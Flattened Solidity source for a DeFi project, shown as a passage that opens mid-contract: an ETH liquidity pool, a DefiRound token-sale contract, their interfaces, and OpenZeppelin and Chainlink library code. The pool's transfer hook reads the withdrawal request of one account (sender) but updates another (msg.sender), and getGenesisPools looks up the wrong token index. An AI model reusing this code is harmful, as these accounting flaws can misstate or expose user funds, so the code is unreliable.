amount function requestWithdrawal(uint256 amount) external override { require(amount > 0, "INVALID_AMOUNT"); require(amount <= balanceOf(msg.sender), "INSUFFICIENT_BALANCE"); //adjust withheld liquidity by removing the original withheld amount and adding the new amount withheldLiquidity = withheldLiquidity.sub(requestedWithdrawals[msg.sender].amount).add( amount ); requestedWithdrawals[msg.sender].amount = amount; if (manager.getRolloverStatus()) { requestedWithdrawals[msg.sender].minCycle = manager.getCurrentCycleIndex().add(2); } else { requestedWithdrawals[msg.sender].minCycle = manager.getCurrentCycleIndex().add(1); } } function preTransferAdjustWithheldLiquidity(address sender, uint256 amount) internal { if (requestedWithdrawals[sender].amount > 0) { //reduce requested withdraw amount by transferred amount; uint256 newRequestedWithdrawl = requestedWithdrawals[sender].amount.sub( Math.min(amount, requestedWithdrawals[sender].amount) ); //subtract from global withheld liquidity (reduce) by removing the delta of (requestedAmount - newRequestedAmount) withheldLiquidity = withheldLiquidity.sub( requestedWithdrawals[msg.sender].amount.sub(newRequestedWithdrawl) ); //update the requested withdraw for user requestedWithdrawals[msg.sender].amount = newRequestedWithdrawl; //if the withdraw request is 0, empty it out if (requestedWithdrawals[msg.sender].amount == 0) { delete requestedWithdrawals[msg.sender]; } } } function approveManager(uint256 amount) public override onlyOwner { uint256 currentAllowance = IERC20(weth).allowance(address(this), address(manager)); if (currentAllowance < amount) { uint256 delta = amount.sub(currentAllowance); IERC20(weth).safeIncreaseAllowance(address(manager), delta); } else { uint256 delta = currentAllowance.sub(amount); IERC20(weth).safeDecreaseAllowance(address(manager), delta); } } /// @dev Adjust withheldLiquidity and requestedWithdrawal if sender does not have sufficient unlocked balance for the transfer function transfer(address recipient, uint256 amount) public override returns (bool) { preTransferAdjustWithheldLiquidity(msg.sender, amount); return super.transfer(recipient, amount); } /// @dev Adjust withheldLiquidity and requestedWithdrawal if sender does not have sufficient unlocked balance for the transfer function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { preTransferAdjustWithheldLiquidity(sender, amount); return super.transferFrom(sender, recipient, amount); } function pause() external override onlyOwner { _pause(); } function unpause() external override onlyOwner { _unpause(); } function _deposit( address fromAccount, address toAccount, uint256 amount, uint256 msgValue ) internal { require(amount > 0, "INVALID_AMOUNT"); require(toAccount != address(0), "INVALID_ADDRESS"); _mint(toAccount, amount); if (msgValue > 0) { require(msgValue == amount, "AMT_VALUE_MISMATCH"); weth.deposit{value: amount}(); } else { IERC20(weth).safeTransferFrom(fromAccount, address(this), amount); } } } // SPDX-License-Identifier: MIT pragma solidity 0.6.11; import "../interfaces/IWETH.sol"; import "../interfaces/IManager.sol"; /// @title Interface for Pool /// @notice Allows users to deposit ERC-20 tokens to be deployed to market makers. /// @notice Mints 1:1 fToken on deposit, represeting an IOU for the undelrying token that is freely transferable. /// @notice Holders of fTokens earn rewards based on duration their tokens were deployed and the demand for that asset. /// @notice Holders of fTokens can redeem for underlying asset after issuing requestWithdrawal and waiting for the next cycle. interface ILiquidityEthPool { struct WithdrawalInfo { uint256 minCycle; uint256 amount; } /// @notice Transfers amount of underlying token from user to this pool and mints fToken to the msg.sender. /// @notice Depositor must have previously granted transfer approval to the pool via underlying token contract. /// @notice Liquidity deposited is deployed on the next cycle - unless a withdrawal request is submitted, in which case the liquidity will be withheld. function deposit(uint256 amount) external payable; /// @notice Transfers amount of underlying token from user to this pool and mints fToken to the account. /// @notice Depositor must have previously granted transfer approval to the pool via underlying token contract. /// @notice Liquidity deposited is deployed on the next cycle - unless a withdrawal request is submitted, in which case the liquidity will be withheld. function depositFor(address account, uint256 amount) external payable; /// @notice Requests that the manager prepare funds for withdrawal next cycle /// @notice Invoking this function when sender already has a currently pending request will overwrite that requested amount and reset the cycle timer /// @param amount Amount of fTokens requested to be redeemed function requestWithdrawal(uint256 amount) external; function approveManager(uint256 amount) external; /// @notice Sender must first invoke requestWithdrawal in a previous cycle /// @notice This function will burn the fAsset and transfers underlying asset back to sender /// @notice Will execute a partial withdrawal if either available liquidity or previously requested amount is insufficient /// @param amount Amount of fTokens to redeem, value can be in excess of available tokens, operation will be reduced to maximum permissible function withdraw(uint256 amount, bool asEth) external; /// @return Reference to the underlying ERC-20 contract function weth() external view returns (IWETH); /// @return Reference to the underlying ERC-20 contract function underlyer() external view returns (address); /// @return Amount of liquidity that should not be deployed for market making (this liquidity will be used for completing requested withdrawals) function withheldLiquidity() external view returns (uint256); /// @notice Get withdraw requests for an account /// @param account User account to check /// @return minCycle Cycle - block number - that must be active before withdraw is allowed, amount Token amount requested function requestedWithdrawals(address account) external view returns (uint256, uint256); /// @notice Pause deposits on the pool. Withdraws still allowed function pause() external; /// @notice Unpause deposits on the pool. function unpause() external; } // SPDX-License-Identifier: MIT pragma solidity 0.6.11; import "@openzeppelin/contracts-upgradeable/token/ERC20/IERC20Upgradeable.sol"; interface IWETH is IERC20Upgradeable { function deposit() external payable; function withdraw(uint256) external; } // SPDX-License-Identifier: MIT pragma solidity 0.6.11; pragma experimental ABIEncoderV2; import "@openzeppelin/contracts/math/Math.sol"; import "@openzeppelin/contracts/utils/SafeCast.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "@openzeppelin/contracts/utils/EnumerableSet.sol"; import "@chainlink/contracts/src/v0.6/interfaces/AggregatorV3Interface.sol"; import "../interfaces/ILiquidityPool.sol"; import "../interfaces/IDefiRound.sol"; import "../interfaces/IWETH.sol"; import "@openzeppelin/contracts/cryptography/MerkleProof.sol"; contract DefiRound is IDefiRound, Ownable { using SafeMath for uint256; using SafeCast for int256; using SafeERC20 for IERC20; using Address for address; using Address for address payable; using EnumerableSet for EnumerableSet.AddressSet; // solhint-disable-next-line address public immutable WETH; address public override immutable treasury; OversubscriptionRate public overSubscriptionRate; mapping(address => uint256) public override totalSupply; // account -> accountData mapping(address => AccountData) private accountData; mapping(address => RateData) private tokenRates; //Token -> oracle, genesis mapping(address => SupportedTokenData) private tokenSettings; EnumerableSet.AddressSet private supportedTokens; EnumerableSet.AddressSet private configuredTokenRates; STAGES public override currentStage; WhitelistSettings public whitelistSettings; uint256 public lastLookExpiration = type(uint256).max; uint256 private immutable maxTotalValue; bool private stage1Locked; constructor( // solhint-disable-next-line address _WETH, address _treasury, uint256 _maxTotalValue ) public { require(_WETH != address(0), "INVALID_WETH"); require(_treasury != address(0), "INVALID_TREASURY"); require(_maxTotalValue > 0, "INVALID_MAXTOTAL"); WETH = _WETH; treasury = _treasury; currentStage = STAGES.STAGE_1; maxTotalValue = _maxTotalValue; } function deposit(TokenData calldata tokenInfo, bytes32[] memory proof) external payable override { require(currentStage == STAGES.STAGE_1, "DEPOSITS_NOT_ACCEPTED"); require(!stage1Locked, "DEPOSITS_LOCKED"); if (whitelistSettings.enabled) { require(verifyDepositor(msg.sender, whitelistSettings.root, proof), "PROOF_INVALID"); } TokenData memory data = tokenInfo; address token = data.token; uint256 tokenAmount = data.amount; require(supportedTokens.contains(token), "UNSUPPORTED_TOKEN"); require(tokenAmount > 0, "INVALID_AMOUNT"); // Convert ETH to WETH if ETH is passed in, otherwise treat WETH as a regular ERC20 if (token == WETH && msg.value > 0) { require(tokenAmount == msg.value, "INVALID_MSG_VALUE"); IWETH(WETH).deposit{value: tokenAmount}(); } else { require(msg.value == 0, "NO_ETH"); } AccountData storage tokenAccountData = accountData[msg.sender]; if (tokenAccountData.token == address(0)) { tokenAccountData.token = token; } require(tokenAccountData.token == token, "SINGLE_ASSET_DEPOSITS"); tokenAccountData.initialDeposit = tokenAccountData.initialDeposit.add(tokenAmount); tokenAccountData.currentBalance = tokenAccountData.currentBalance.add(tokenAmount); require(tokenAccountData.currentBalance <= tokenSettings[token].maxLimit, "MAX_LIMIT_EXCEEDED"); // No need to transfer from msg.sender since is ETH was converted to WETH if (!(token == WETH && msg.value > 0)) { IERC20(token).safeTransferFrom(msg.sender, address(this), tokenAmount); } if(_totalValue() > maxTotalValue) { stage1Locked = true; } emit Deposited(msg.sender, tokenInfo); } // solhint-disable-next-line no-empty-blocks receive() external payable { require(msg.sender == WETH); } function withdraw(TokenData calldata tokenInfo, bool asETH) external override { require(currentStage == STAGES.STAGE_2, "WITHDRAWS_NOT_ACCEPTED"); require(!_isLastLookComplete(), "WITHDRAWS_EXPIRED"); TokenData memory data = tokenInfo; address token = data.token; uint256 tokenAmount = data.amount; require(supportedTokens.contains(token), "UNSUPPORTED_TOKEN"); require(tokenAmount > 0, "INVALID_AMOUNT"); AccountData storage tokenAccountData = accountData[msg.sender]; require(token == tokenAccountData.token, "INVALID_TOKEN"); tokenAccountData.currentBalance = tokenAccountData.currentBalance.sub(tokenAmount); // set the data back in the mapping, otherwise updates are not saved accountData[msg.sender] = tokenAccountData; // Don't transfer WETH, WETH is converted to ETH and sent to the recipient if (token == WETH && asETH) { IWETH(WETH).withdraw(tokenAmount); msg.sender.sendValue(tokenAmount); } else { IERC20(token).safeTransfer(msg.sender, tokenAmount); } emit Withdrawn(msg.sender, tokenInfo, asETH); } function configureWhitelist(WhitelistSettings memory settings) external override onlyOwner { whitelistSettings = settings; emit WhitelistConfigured(settings); } function addSupportedTokens(SupportedTokenData[] calldata tokensToSupport) external override onlyOwner { uint256 tokensLength = tokensToSupport.length; for (uint256 i = 0; i < tokensLength; i++) { SupportedTokenData memory data = tokensToSupport[i]; require(supportedTokens.add(data.token), "TOKEN_EXISTS"); tokenSettings[data.token] = data; } emit SupportedTokensAdded(tokensToSupport); } function getSupportedTokens() external view override returns (address[] memory tokens) { uint256 tokensLength = supportedTokens.length(); tokens = new address[](tokensLength); for (uint256 i = 0; i < tokensLength; i++) { tokens[i] = supportedTokens.at(i); } } function publishRates(RateData[] calldata ratesData, OversubscriptionRate memory oversubRate, uint256 lastLookDuration) external override onlyOwner { // check rates havent been published before require(currentStage == STAGES.STAGE_1, "RATES_ALREADY_SET"); require(lastLookDuration > 0, "INVALID_DURATION"); require(oversubRate.overDenominator > 0, "INVALID_DENOMINATOR"); require(oversubRate.overNumerator > 0, "INVALID_NUMERATOR"); uint256 ratesLength = ratesData.length; for (uint256 i = 0; i < ratesLength; i++) { RateData memory data = ratesData[i]; require(data.numerator > 0, "INVALID_NUMERATOR"); require(data.denominator > 0, "INVALID_DENOMINATOR"); require(tokenRates[data.token].token == address(0), "RATE_ALREADY_SET"); require(configuredTokenRates.add(data.token), "ALREADY_CONFIGURED"); tokenRates[data.token] = data; } require(configuredTokenRates.length() == supportedTokens.length(), "MISSING_RATE"); // Stage only moves forward when prices are published currentStage = STAGES.STAGE_2; lastLookExpiration = block.number + lastLookDuration; overSubscriptionRate = oversubRate; emit RatesPublished(ratesData); } function getRates(address[] calldata tokens) external view override returns (RateData[] memory rates) { uint256 tokensLength = tokens.length; rates = new RateData[](tokensLength); for (uint256 i = 0; i < tokensLength; i++) { rates[i] = tokenRates[tokens[i]]; } } function getTokenValue(address token, uint256 balance) internal view returns (uint256 value) { uint256 tokenDecimals = ERC20(token).decimals(); (, int256 tokenRate, , , ) = AggregatorV3Interface(tokenSettings[token].oracle).latestRoundData(); uint256 rate = tokenRate.toUint256(); value = (balance.mul(rate)).div(10**tokenDecimals); //Chainlink USD prices are always to 8 } function totalValue() external view override returns (uint256) { return _totalValue(); } function _totalValue() internal view returns (uint256 value) { uint256 tokensLength = supportedTokens.length(); for (uint256 i = 0; i < tokensLength; i++) { address token = supportedTokens.at(i); uint256 tokenBalance = IERC20(token).balanceOf(address(this)); value = value.add(getTokenValue(token, tokenBalance)); } } function accountBalance(address account) external view override returns (uint256 value) { uint256 tokenBalance = accountData[account].currentBalance; value = value.add(getTokenValue(accountData[account].token, tokenBalance)); } function finalizeAssets(bool depositToGenesis) external override { require(currentStage == STAGES.STAGE_3, "NOT_SYSTEM_FINAL"); AccountData storage data = accountData[msg.sender]; address token = data.token; require(token != address(0), "NO_DATA"); ( , uint256 ineffective, ) = _getRateAdjustedAmounts(data.currentBalance, token); require(ineffective > 0, "NOTHING_TO_MOVE"); // zero out balance data.currentBalance = 0; accountData[msg.sender] = data; if (depositToGenesis) { address pool = tokenSettings[token].genesis; uint256 currentAllowance = IERC20(token).allowance(address(this), pool); if (currentAllowance < ineffective) { IERC20(token).safeIncreaseAllowance(pool, ineffective.sub(currentAllowance)); } ILiquidityPool(pool).depositFor(msg.sender, ineffective); emit GenesisTransfer(msg.sender, ineffective); } else { // transfer ineffectiveTokenBalance back to user IERC20(token).safeTransfer(msg.sender, ineffective); } emit AssetsFinalized(msg.sender, token, ineffective); } function getGenesisPools(address[] calldata tokens) external view override returns (address[] memory genesisAddresses) { uint256 tokensLength = tokens.length; genesisAddresses = new address[](tokensLength); for (uint256 i = 0; i < tokensLength; i++) { require(supportedTokens.contains(tokens[i]), "TOKEN_UNSUPPORTED"); genesisAddresses[i] = tokenSettings[supportedTokens.at(i)].genesis; } } function getTokenOracles(address[] calldata tokens) external view override returns (address[] memory oracleAddresses) { uint256 tokensLength = tokens.length; oracleAddresses = new address[](tokensLength); for (uint256 i = 0; i < tokensLength; i++) { require(supportedTokens.contains(tokens[i]), "TOKEN_UNSUPPORTED"); oracleAddresses[i] = tokenSettings[tokens[i]].oracle; } } function getAccountData(address account) external view override returns (AccountDataDetails[] memory data) { uint256 supportedTokensLength = supportedTokens.length(); data = new AccountDataDetails[](supportedTokensLength); for (uint256 i = 0; i < supportedTokensLength; i++) { address token = supportedTokens.at(i); AccountData memory accountTokenInfo = accountData[account]; if (currentStage >= STAGES.STAGE_2 && accountTokenInfo.token != address(0)) { (uint256 effective, uint256 ineffective, uint256 actual) = _getRateAdjustedAmounts(accountTokenInfo.currentBalance, token); AccountDataDetails memory details = AccountDataDetails( token, accountTokenInfo.initialDeposit, accountTokenInfo.currentBalance, effective, ineffective, actual ); data[i] = details; } else { data[i] = AccountDataDetails(token, accountTokenInfo.initialDeposit, accountTokenInfo.currentBalance, 0, 0, 0); } } } function transferToTreasury() external override onlyOwner { require(_isLastLookComplete(), "CURRENT_STAGE_INVALID"); require(currentStage == STAGES.STAGE_2, "ONLY_TRANSFER_ONCE"); uint256 supportedTokensLength = supportedTokens.length(); TokenData[] memory tokens = new TokenData[](supportedTokensLength); for (uint256 i = 0; i < supportedTokensLength; i++) { address token = supportedTokens.at(i); uint256 balance = IERC20(token).balanceOf(address(this)); (uint256 effective, , ) = _getRateAdjustedAmounts(balance, token); tokens[i].token = token; tokens[i].amount = effective; IERC20(token).safeTransfer(treasury, effective); } currentStage = STAGES.STAGE_3; emit TreasuryTransfer(tokens); } function getRateAdjustedAmounts(uint256 balance, address token) external override view returns (uint256,uint256,uint256) { return _getRateAdjustedAmounts(balance, token); } function getMaxTotalValue() external view override returns (uint256) { return maxTotalValue; } function _getRateAdjustedAmounts(uint256 balance, address token) internal view returns (uint256,uint256,uint256) { require(currentStage >= STAGES.STAGE_2, "RATES_NOT_PUBLISHED"); RateData memory rateInfo = tokenRates[token]; uint256 effectiveTokenBalance = balance.mul(overSubscriptionRate.overNumerator).div(overSubscriptionRate.overDenominator); uint256 ineffectiveTokenBalance = balance.mul(overSubscriptionRate.overDenominator.sub(overSubscriptionRate.overNumerator)) .div(overSubscriptionRate.overDenominator); uint256 actualReceived = effectiveTokenBalance.mul(rateInfo.denominator).div(rateInfo.numerator); return (effectiveTokenBalance, ineffectiveTokenBalance, actualReceived); } function verifyDepositor(address participant, bytes32 root, bytes32[] memory proof) internal pure returns (bool) { bytes32 leaf = keccak256((abi.encodePacked((participant)))); return MerkleProof.verify(proof, root, leaf); } function _isLastLookComplete() internal view returns (bool) { return block.number >= lastLookExpiration; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Standard math utilities missing in the Solidity language. */ library Math { /** * @dev Returns the largest of two numbers. */ function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } /** * @dev Returns the smallest of two numbers. */ function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } /** * @dev Returns the average of two numbers. The result is rounded towards * zero. */ function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow, so we distribute return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's uintXX/intXX casting operators with added overflow * checks. * * Downcasting from uint256/int256 in Solidity does not revert on overflow. This can * easily result in undesired exploitation or bugs, since developers usually * assume that overflows raise errors. `SafeCast` restores this intuition by * reverting the transaction when such an operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. * * Can be combined with {SafeMath} and {SignedSafeMath} to extend it to smaller types, by performing * all math on `uint256` and `int256` and then downcasting. */ library SafeCast { /** * @dev Returns the downcasted uint128 from uint256, reverting on * overflow (when the input is greater than largest uint128). * * Counterpart to Solidity's `uint128` operator. * * Requirements: * * - input must fit into 128 bits */ function toUint128(uint256 value) internal pure returns (uint128) { require(value < 2**128, "SafeCast: value doesn\'t fit in 128 bits"); return uint128(value); } /** * @dev Returns the downcasted uint64 from uint256, reverting on * overflow (when the input is greater than largest uint64). * * Counterpart to Solidity's `uint64` operator. * * Requirements: * * - input must fit into 64 bits */ function toUint64(uint256 value) internal pure returns (uint64) { require(value < 2**64, "SafeCast: value doesn\'t fit in 64 bits"); return uint64(value); } /** * @dev Returns the downcasted uint32 from uint256, reverting on * overflow (when the input is greater than largest uint32). * * Counterpart to Solidity's `uint32` operator. * * Requirements: * * - input must fit into 32 bits */ function toUint32(uint256 value) internal pure returns (uint32) { require(value < 2**32, "SafeCast: value doesn\'t fit in 32 bits"); return uint32(value); } /** * @dev Returns the downcasted uint16 from uint256, reverting on * overflow (when the input is greater than largest uint16). * * Counterpart to Solidity's `uint16` operator. * * Requirements: * * - input must fit into 16 bits */ function toUint16(uint256 value) internal pure returns (uint16) { require(value < 2**16, "SafeCast: value doesn\'t fit in 16 bits"); return uint16(value); } /** * @dev Returns the downcasted uint8 from uint256, reverting on * overflow (when the input is greater than largest uint8). * * Counterpart to Solidity's `uint8` operator. * * Requirements: * * - input must fit into 8 bits. */ function toUint8(uint256 value) internal pure returns (uint8) { require(value < 2**8, "SafeCast: value doesn\'t fit in 8 bits"); return uint8(value); } /** * @dev Converts a signed int256 into an unsigned uint256. * * Requirements: * * - input must be greater than or equal to 0. */ function toUint256(int256 value) internal pure returns (uint256) { require(value >= 0, "SafeCast: value must be positive"); return uint256(value); } /** * @dev Returns the downcasted int128 from int256, reverting on * overflow (when the input is less than smallest int128 or * greater than largest int128). * * Counterpart to Solidity's `int128` operator. * * Requirements: * * - input must fit into 128 bits * * _Available since v3.1._ */ function toInt128(int256 value) internal pure returns (int128) { require(value >= -2**127 && value < 2**127, "SafeCast: value doesn\'t fit in 128 bits"); return int128(value); } /** * @dev Returns the downcasted int64 from int256, reverting on * overflow (when the input is less than smallest int64 or * greater than largest int64). * * Counterpart to Solidity's `int64` operator. * * Requirements: * * - input must fit into 64 bits * * _Available since v3.1._ */ function toInt64(int256 value) internal pure returns (int64) { require(value >= -2**63 && value < 2**63, "SafeCast: value doesn\'t fit in 64 bits"); return int64(value); } /** * @dev Returns the downcasted int32 from int256, reverting on * overflow (when the input is less than smallest int32 or * greater than largest int32). * * Counterpart to Solidity's `int32` operator. * * Requirements: * * - input must fit into 32 bits * * _Available since v3.1._ */ function toInt32(int256 value) internal pure returns (int32) { require(value >= -2**31 && value < 2**31, "SafeCast: value doesn\'t fit in 32 bits"); return int32(value); } /** * @dev Returns the downcasted int16 from int256, reverting on * overflow (when the input is less than smallest int16 or * greater than largest int16). * * Counterpart to Solidity's `int16` operator. * * Requirements: * * - input must fit into 16 bits * * _Available since v3.1._ */ function toInt16(int256 value) internal pure returns (int16) { require(value >= -2**15 && value < 2**15, "SafeCast: value doesn\'t fit in 16 bits"); return int16(value); } /** * @dev Returns the downcasted int8 from int256, reverting on * overflow (when the input is less than smallest int8 or * greater than largest int8). * * Counterpart to Solidity's `int8` operator. * * Requirements: * * - input must fit into 8 bits. * * _Available since v3.1._ */ function toInt8(int256 value) internal pure returns (int8) { require(value >= -2**7 && value < 2**7, "SafeCast: value doesn\'t fit in 8 bits"); return int8(value); } /** * @dev Converts an unsigned uint256 into a signed int256. * * Requirements: * * - input must be less than or equal to maxInt256. */ function toInt256(uint256 value) internal pure returns (int256) { require(value < 2**255, "SafeCast: value doesn't fit in an int256"); return int256(value); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../../utils/Context.sol"; import "./IERC20.sol"; import "../../math/SafeMath.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) public { _name = name_; _symbol = symbol_; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view virtual returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal virtual { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0; interface AggregatorV3Interface { function decimals() external view returns (uint8); function description() external view returns (string memory); function version() external view returns (uint256); // getRoundData and latestRoundData should both raise "No data present" // if they do not have data to report, instead of returning unset values // which could be misinterpreted as actual reported values. function getRoundData(uint80 _roundId) external view returns ( uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound ); function latestRoundData() external view returns ( uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound ); } // SPDX-License-Identifier: MIT pragma solidity 0.6.11; pragma experimental ABIEncoderV2; interface IDefiRound { enum STAGES {STAGE_1, STAGE_2, STAGE_3} struct AccountData { address token; // address of the allowed token deposited uint256 initialDeposit; // initial amount deposited of the token uint256 currentBalance; // current balance of the token that can be used to claim TOKE } struct AccountDataDetails { address token; // address of the allowed token deposited uint256 initialDeposit; // initial amount deposited of the token uint256 currentBalance; // current balance of the token that can be used to claim TOKE uint256 effectiveAmt; //Amount deposited that will be used towards TOKE uint256 ineffectiveAmt; //Amount deposited that will be either refunded or go to farming uint256 actualTokeReceived; //Amount of TOKE that will be received } struct TokenData { address token; uint256 amount; } struct SupportedTokenData { address token; address oracle; address genesis; uint256 maxLimit; } struct RateData { address token; uint256 numerator; uint256 denominator; } struct OversubscriptionRate { uint256 overNumerator; uint256 overDenominator; } event Deposited(address depositor, TokenData tokenInfo); event Withdrawn(address withdrawer, TokenData tokenInfo, bool asETH); event SupportedTokensAdded(SupportedTokenData[] tokenData); event RatesPublished(RateData[] ratesData); event GenesisTransfer(address user, uint256 amountTransferred); event AssetsFinalized(address claimer, address token, uint256 assetsMoved); event WhitelistConfigured(WhitelistSettings settings); event TreasuryTransfer(TokenData[] tokens); struct TokenValues { uint256 effectiveTokenValue; uint256 ineffectiveTokenValue; } struct WhitelistSettings { bool enabled; bytes32 root; } /// @notice Enable or disable the whitelist /// @param settings The root to use and whether to check the whitelist at all function configureWhitelist(WhitelistSettings calldata settings) external; /// @notice returns the current stage the contract is in /// @return stage the current stage the round contract is in function currentStage() external returns (STAGES stage); /// @notice deposits tokens into the round contract /// @param tokenData an array of token structs function deposit(TokenData calldata tokenData, bytes32[] memory proof) external payable; /// @notice total value held in the entire contract amongst all the assets /// @return value the value of all assets held function totalValue() external view returns (uint256 value); 